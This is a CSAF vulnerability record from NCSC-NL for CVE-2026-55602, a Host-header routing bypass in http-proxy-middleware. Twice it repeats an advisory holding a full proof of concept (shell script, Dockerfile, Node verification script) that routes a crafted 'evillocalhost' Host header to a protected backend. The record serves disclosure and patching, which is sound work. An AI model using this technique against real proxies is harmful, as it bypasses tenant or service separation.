{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-55602", "tracking": { "current_release_date": "2026-10-16T06:20:01.190018Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-55602", "initial_release_date": "2026-06-18T13:39:31.175844Z", "revision_history": [ { "date": "2026-06-18T13:39:31.175844Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-06-18T13:39:37.709952Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-06-18T18:21:13.574744Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (1).| CWES updated (1)." }, { "date": "2026-06-18T18:21:15.039063Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-06-22T17:51:23.227584Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Products created (2).| References created (1).| CWES updated (1)." }, { "date": "2026-06-22T17:51:37.563703Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-06-22T18:21:00.282512Z", "number": "7", "summary": "Products connected (2).| Products removed (1)." }, { "date": "2026-06-23T04:11:08.284131Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-06-23T04:11:20.100908Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-06-23T14:54:38.367875Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-06-23T14:54:40.397601Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-06-23T16:28:32.267731Z", "number": "12", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-06-23T16:28:36.685925Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-06-26T20:30:19.985577Z", "number": "14", "summary": "CVSS created.| Products connected (3).| Product Identifiers created (3).| Exploits created (1)." }, { "date": "2026-06-26T20:30:22.090757Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-07-14T07:15:32.907973Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (7).| Products connected (44).| References created (3).| CWES updated (1)." }, { "date": "2026-07-14T07:15:43.087429Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-08-12T15:15:52.514642Z", "number": "18", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-08-12T15:16:19.704047Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-09-02T10:27:42.726772Z", "number": "20", "summary": "EPSS updated." }, { "date": "2026-09-03T00:27:58.127876Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-09-03T14:17:22.201004Z", "number": "22", "summary": "EPSS updated." }, { "date": "2026-09-03T18:41:47.771429Z", "number": "23", "summary": "EPSS updated." }, { "date": "2026-09-04T15:25:58.796834Z", "number": "24", "summary": "EPSS updated." }, { "date": "2026-09-04T15:25:59.862116Z", "number": "25", "summary": "NCSC Score updated." }, { "date": "2026-09-05T15:25:22.693422Z", "number": "26", "summary": "EPSS updated." }, { "date": "2026-09-06T15:25:48.098387Z", "number": "27", "summary": "EPSS updated." }, { "date": "2026-09-07T15:26:23.528839Z", "number": "28", "summary": "EPSS updated." }, { "date": "2026-09-08T04:36:21.918248Z", "number": "29", "summary": "NCSC Score updated." }, { "date": "2026-09-09T07:19:54.826520Z", "number": "30", "summary": "EPSS updated." }, { "date": "2026-09-09T15:30:12.983927Z", "number": "31", "summary": "EPSS updated." }, { "date": "2026-09-09T15:30:15.166467Z", "number": "32", "summary": "NCSC Score updated." }, { "date": "2026-09-29T12:20:32.397149Z", "number": "33", "summary": "Source connected.| CVE status created. (valid)| Products connected (3).| References created (21)." }, { "date": "2026-09-29T12:53:17.385212Z", "number": "34", "summary": "NCSC Score updated." }, { "date": "2026-09-29T15:42:45.312651Z", "number": "35", "summary": "EPSS created.| Unknown change." }, { "date": "2026-10-16T06:19:42.166554Z", "number": "36", "summary": "Source connected.| CVE status created. (valid)" }, { "date": "2026-10-16T06:19:53.837521Z", "number": "37", "summary": "NCSC Score updated." } ], "status": "interim", "version": "37" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<10.5.0.23", "product": { "name": "vers:unknown/<10.5.0.23", "product_id": "CSAFPID-9485661" } }, { "category": "product_version_range", "name": "vers:unknown/<10.6.0.11", "product": { "name": "vers:unknown/<10.6.0.11", "product_id": "CSAFPID-9485662" } }, { "category": "product_version_range", "name": "vers:unknown/<11.0.0.3", "product": { "name": "vers:unknown/<11.0.0.3", "product_id": "CSAFPID-9485663" } } ], "category": "product_name", "name": "DataPower Gateway" } ], "category": "vendor", "name": "IBM" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0.16.0|<2.0.10", "product": { "name": "vers:unknown/>=0.16.0|<2.0.10", "product_id": "CSAFPID-8485509", "product_identification_helper": { "cpe": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=3.0.0|<3.0.6", "product": { "name": "vers:unknown/>=3.0.0|<3.0.6", "product_id": "CSAFPID-8485508", "product_identification_helper": { "cpe": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=4.0.0|<4.1.0", "product": { "name": "vers:unknown/>=4.0.0|<4.1.0", "product_id": "CSAFPID-8477983", "product_identification_helper": { "cpe": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.16.0", "product": { "name": "vers:unknown/v0.16.0", "product_id": "CSAFPID-3777915" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.0", "product": { "name": "vers:unknown/v0.17.0", "product_id": "CSAFPID-3777916" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.1", "product": { "name": "vers:unknown/v0.17.1", "product_id": "CSAFPID-3777917" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.2", "product": { "name": "vers:unknown/v0.17.2", "product_id": "CSAFPID-3777918" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.3", "product": { "name": "vers:unknown/v0.17.3", "product_id": "CSAFPID-3777919" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.4", "product": { "name": "vers:unknown/v0.17.4", "product_id": "CSAFPID-3777920" } }, { "category": "product_version_range", "name": "vers:unknown/v0.18.0", "product": { "name": "vers:unknown/v0.18.0", "product_id": "CSAFPID-3777921" } }, { "category": "product_version_range", "name": "vers:unknown/v0.19.0", "product": { "name": "vers:unknown/v0.19.0", "product_id": "CSAFPID-3777922" } }, { "category": "product_version_range", "name": "vers:unknown/v0.19.1", "product": { "name": "vers:unknown/v0.19.1", "product_id": "CSAFPID-3777923" } }, { "category": "product_version_range", "name": "vers:unknown/v0.20.0", "product": { "name": "vers:unknown/v0.20.0", "product_id": "CSAFPID-3777925" } }, { "category": "product_version_range", "name": "vers:unknown/v0.20.0-beta.0", "product": { "name": "vers:unknown/v0.20.0-beta.0", "product_id": "CSAFPID-3777926" } }, { "category": "product_version_range", "name": "vers:unknown/v0.21.0", "product": { "name": "vers:unknown/v0.21.0", "product_id": "CSAFPID-3777927" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.0", "product": { "name": "vers:unknown/v1.0.0", "product_id": "CSAFPID-3777940" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.1", "product": { "name": "vers:unknown/v1.0.1", "product_id": "CSAFPID-3777941" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.2", "product": { "name": "vers:unknown/v1.0.2", "product_id": "CSAFPID-3777942" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.3", "product": { "name": "vers:unknown/v1.0.3", "product_id": "CSAFPID-3777943" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.4", "product": { "name": "vers:unknown/v1.0.4", "product_id": "CSAFPID-3777944" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.5", "product": { "name": "vers:unknown/v1.0.5", "product_id": "CSAFPID-3777945" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.6", "product": { "name": "vers:unknown/v1.0.6", "product_id": "CSAFPID-3777946" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.0", "product": { "name": "vers:unknown/v1.1.0", "product_id": "CSAFPID-3777947" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.1", "product": { "name": "vers:unknown/v1.1.1", "product_id": "CSAFPID-3777948" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.2", "product": { "name": "vers:unknown/v1.1.2", "product_id": "CSAFPID-3777949" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.0", "product": { "name": "vers:unknown/v1.2.0", "product_id": "CSAFPID-3777950" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.1", "product": { "name": "vers:unknown/v1.2.1", "product_id": "CSAFPID-3777951" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.0", "product": { "name": "vers:unknown/v1.3.0", "product_id": "CSAFPID-3777952" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.1", "product": { "name": "vers:unknown/v1.3.1", "product_id": "CSAFPID-3777953" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-3777954" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.1", "product": { "name": "vers:unknown/v2.0.1", "product_id": "CSAFPID-3777955" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.10-beta.0", "product": { "name": "vers:unknown/v2.0.10-beta.0", "product_id": "CSAFPID-8785102" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.2", "product": { "name": "vers:unknown/v2.0.2", "product_id": "CSAFPID-3777956" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.3", "product": { "name": "vers:unknown/v2.0.3", "product_id": "CSAFPID-3777957" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.4", "product": { "name": "vers:unknown/v2.0.4", "product_id": "CSAFPID-3777958" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.5", "product": { "name": "vers:unknown/v2.0.5", "product_id": "CSAFPID-3777959" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.6", "product": { "name": "vers:unknown/v2.0.6", "product_id": "CSAFPID-3777960" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.7", "product": { "name": "vers:unknown/v2.0.7", "product_id": "CSAFPID-3777961" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.7-beta.0", "product": { "name": "vers:unknown/v2.0.7-beta.0", "product_id": "CSAFPID-3777962" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.7-beta.1", "product": { "name": "vers:unknown/v2.0.7-beta.1", "product_id": "CSAFPID-3777963" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.8", "product": { "name": "vers:unknown/v2.0.8", "product_id": "CSAFPID-3777972" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.9", "product": { "name": "vers:unknown/v2.0.9", "product_id": "CSAFPID-8785103" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0", "product": { "name": "vers:unknown/v3.0.0", "product_id": "CSAFPID-3777964" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.1", "product": { "name": "vers:unknown/v3.0.1", "product_id": "CSAFPID-3777967" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.1-beta.0", "product": { "name": "vers:unknown/v3.0.1-beta.0", "product_id": "CSAFPID-3777968" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.1-beta.1", "product": { "name": "vers:unknown/v3.0.1-beta.1", "product_id": "CSAFPID-3777969" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.2", "product": { "name": "vers:unknown/v3.0.2", "product_id": "CSAFPID-3777970" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.3", "product": { "name": "vers:unknown/v3.0.3", "product_id": "CSAFPID-3777971" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.4", "product": { "name": "vers:unknown/v3.0.4", "product_id": "CSAFPID-3777973" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.5", "product": { "name": "vers:unknown/v3.0.5", "product_id": "CSAFPID-8785108" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.0", "product": { "name": "vers:unknown/v4.0.0", "product_id": "CSAFPID-8785107" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.0", "product": { "name": "vers:unknown/v4.1.0-beta.0", "product_id": "CSAFPID-8785106" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.1", "product": { "name": "vers:unknown/v4.1.0-beta.1", "product_id": "CSAFPID-8785105" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.2", "product": { "name": "vers:unknown/v4.1.0-beta.2", "product_id": "CSAFPID-8785104" } } ], "category": "product_name", "name": "http-proxy-middleware" } ], "category": "vendor", "name": "chimurai" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-55602", "cwe": { "id": "CWE-187", "name": "Partial String Comparison" }, "notes": [ { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-55602.json?alt=media" }, { "category": "description", "text": "# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) > -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n && cd /work/repo \\\n && yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo && yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n return new Promise((resolve) => {\n server.listen(port, '127.0.0.1', () => resolve());\n });\n}\n\nfunction close(server) {\n return new Promise((resolve, reject) => {\n server.close((err) => {\n if (err) {\n reject(err);\n return;\n }\n resolve();\n });\n });\n}\n\nfunction request(path, host) {\n return new Promise((resolve, reject) => {\n const req = http.request(\n {\n host: '127.0.0.1',\n port: 3000,\n path,\n method: 'GET',\n headers: {\n Host: host,\n },\n },\n (res) => {\n let data = '';\n res.setEncoding('utf8');\n res.on('data', (chunk) => {\n data += chunk;\n });\n res.on('end', () => {\n resolve({ statusCode: res.statusCode, body: data });\n });\n },\n );\n req.on('error', reject);\n req.end();\n });\n}\n\nconst defaultBackend = http.createServer((req, res) => {\n res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) => {\n res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n\nconst proxyServer = http.createServer((req, res) => {\n proxyMiddleware(req, res, () => {\n res.statusCode = 404;\n res.end('NO_PROXY');\n });\n});\n\ntry {\n assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n await listen(defaultBackend, 3101);\n await listen(secretBackend, 3102);\n await listen(proxyServer, 3000);\n console.log('STEP start-services ok');\n\n const baseline = await request('/api', 'safe.example:3000');\n assert.equal(baseline.statusCode, 200);\n assert.equal(baseline.body, 'DEFAULT');\n console.log(`STEP baseline-route body=${baseline.body}`);\n\n const crafted = await request('/api', CRAFTED_HOST);\n assert.equal(crafted.statusCode, 200);\n assert.equal(crafted.body, 'SECRET');\n assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n console.log(`STEP crafted-route body=${crafted.body}`);\n\n console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.", "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-64mm-vxmg-q3vj.json?alt=media" }, { "category": "description", "text": "# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) > -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n && cd /work/repo \\\n && yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo && yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n return new Promise((resolve) => {\n server.listen(port, '127.0.0.1', () => resolve());\n });\n}\n\nfunction close(server) {\n return new Promise((resolve, reject) => {\n server.close((err) => {\n if (err) {\n reject(err);\n return;\n }\n resolve();\n });\n });\n}\n\nfunction request(path, host) {\n return new Promise((resolve, reject) => {\n const req = http.request(\n {\n host: '127.0.0.1',\n port: 3000,\n path,\n method: 'GET',\n headers: {\n Host: host,\n },\n },\n (res) => {\n let data = '';\n res.setEncoding('utf8');\n res.on('data', (chunk) => {\n data += chunk;\n });\n res.on('end', () => {\n resolve({ statusCode: res.statusCode, body: data });\n });\n },\n );\n req.on('error', reject);\n req.end();\n });\n}\n\nconst defaultBackend = http.createServer((req, res) => {\n res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) => {\n res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n\nconst proxyServer = http.createServer((req, res) => {\n proxyMiddleware(req, res, () => {\n res.statusCode = 404;\n res.end('NO_PROXY');\n });\n});\n\ntry {\n assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n await listen(defaultBackend, 3101);\n await listen(secretBackend, 3102);\n await listen(proxyServer, 3000);\n console.log('STEP start-services ok');\n\n const baseline = await request('/api', 'safe.example:3000');\n assert.equal(baseline.statusCode, 200);\n assert.equal(baseline.body, 'DEFAULT');\n console.log(`STEP baseline-route body=${baseline.body}`);\n\n const crafted = await request('/api', CRAFTED_HOST);\n assert.equal(crafted.statusCode, 200);\n assert.equal(crafted.body, 'SECRET');\n assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n console.log(`STEP crafted-route body=${crafted.body}`);\n\n console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n target: 'http://127.0.0.1:3101',\n router: {\n [ROUTER_KEY]: 'http://127.0.0.1:3102',\n },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.", "title": "github - https://api.github.com/advisories/GHSA-64mm-vxmg-q3vj" }, { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-55602" }, { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.", "title": "cveprojectv5 - 